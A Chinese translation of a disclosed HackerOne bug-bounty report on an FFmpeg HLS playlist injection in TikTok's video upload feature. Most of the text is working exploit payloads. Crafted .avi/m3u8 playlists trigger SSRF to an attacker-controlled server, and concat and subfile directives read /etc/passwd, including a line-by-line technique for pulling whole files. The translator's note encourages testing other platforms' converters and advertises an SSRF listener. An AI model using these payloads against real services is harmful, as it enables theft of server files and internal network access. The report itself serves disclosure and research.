原文:https://hackerone.com/reports/1062888
FFmpeg是一个免费的开源软件项目,包含用于处理视频,音频和其他多媒体文件和流的大量库和程序。FFmpeg程序本身就是核心,它专门用于基于命令行的视频和音频文件处理。它被广泛用于格式转码,基本编辑(修剪和串联),视频缩放,视频后期制作效果和标准兼容性(SMPTE,ITU)。
FFmpeg包括libavcodec,许多商业和免费软件产品使用的音频/视频编解码器库,libavformat(Lavf),音频/视频容器多路复用器和demux库,以及用于对多媒体文件进行代码转换的ffmpeg核心命令行程序。
FFmpeg中的SSRF、LFR是众所周知的古老漏洞,但幸运的是我能够在https://www.tiktok.com/upload/功能上找到并利用它。
起初,我无法利用LFR,只能利用我的服务器监听SSRF。经过一番挖掘后,我发现问题出在我的文本编辑器在header.m3u8文件末尾添加了新行(\r\n)。
同样,此漏洞会导致DOS,但我决定不测试此问题。
SSRF:
对于SSRF,你只需要上传.avi带有注入的HLS指令的文件。
例子:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://yourserver.com/anything
#EXT-X-ENDLIST之后,将有一个对你服务器的请求。user-agent将获取Lavf(libavformat)版本。
LFR:
为了利用LFR,你需要在服务器上托管特殊文件,并在要上传的视频中引用它。
示例:header.m3u8你需要在服务器上托管的文件:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,http://yourserver.com?
确保header.m3u8在3fbyte(?符号)之后没有任何内容。你
可以用hexdump -C header.m3u8
video.avi
你需要在video.avi文件中注入以下命令:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://yourserver.com/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST
上传完毕后video.avi,你将收到仅第一行的/etc/passwd文件。
但是我们还需要更多,对吗?
提取整个文件(任何文件)。我们可以使用两种技术。
使用header.y4m(你可以在引用的链接中找到它): YUV4MPEG2 W30 H30 F25:1 Ip A0:0 Cmono FRAME
但是这种技术在这次渗透中没起作用。
截断文件技术:
为了逐行获取整个文件,你可以使用以下指令:
#EXTM3U#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://yourserver.com/header.m3u8|subfile,,start,1,end,10000,,:/etc/passwd
#EXT-X-ENDLIST
start参数,其值为value(1)表示我们从文件的第一个符号开始,该end参数表示行的结尾。无需知道确切end值。获得第一行后,你可以轻松计算start第二行的值,依此类推。例如,对于第二行,我们的命令将类似于:concat:http://yourserver.com/header.m3u8|subfile,,start,70,end,10000,,:/etc/passwd
在某些情况下,你可以使用此指令在视频文件中提取整个文件:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0/anything.txt
#EXTINF:1.0file:///etc/passwd
#EXT-X-ENDLIST
你可以看到整个/etc/passwd视频预览。
但是在我们的案例中,当我们的视频在服务器端转换时,软件可以正常工作。
时间线:
2020.12.21 ach提交漏洞
2020.12.28 TikTok确认漏洞
2021.01.06 发放赏金:$2,727
2021.01.06 TikTok修复该漏洞
2021.01.06 ach申请公开该漏洞
2021.02.16 TikTok同意公开此漏洞
参考:
https://2017.zeronights.org/wp-content/uploads/materials/ZN17\_yngwie\_ffmpeg.pd[f](https://2017.zeronights.org/wp-content/uploads/materials/ZN17_yngwie_ffmpeg.pdf)
https://www.blackhat.com/docs/us-16/materials/us-16-Ermishkin-Viral-Video-Exploiting-Ssrf-In-Video-Converters.pdf
https://docs.google.com/presentation/d/1yqWy\_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS
译者按:曾经ImageMagick RCE横扫各大厂商,如今短视频平台大行其道,大家有没有去测一波视频以及图片的转换功能呢?火线平台更有火器-司马帮助你测试SSRF。
火器-司马:
https://www.huoxian.cn/layman/firearm/verifier/projectList
使用方法:

点击新增项目,

填写名称和描述,以便区分项目。这里分类我们选择Http,然后点击保存,项目及可创建成功。

这个地址就是你的专属URL地址。
你可以在任意测试盲SSRF的时候使用这个地址。
本文迁移自知识星球“火线Zone”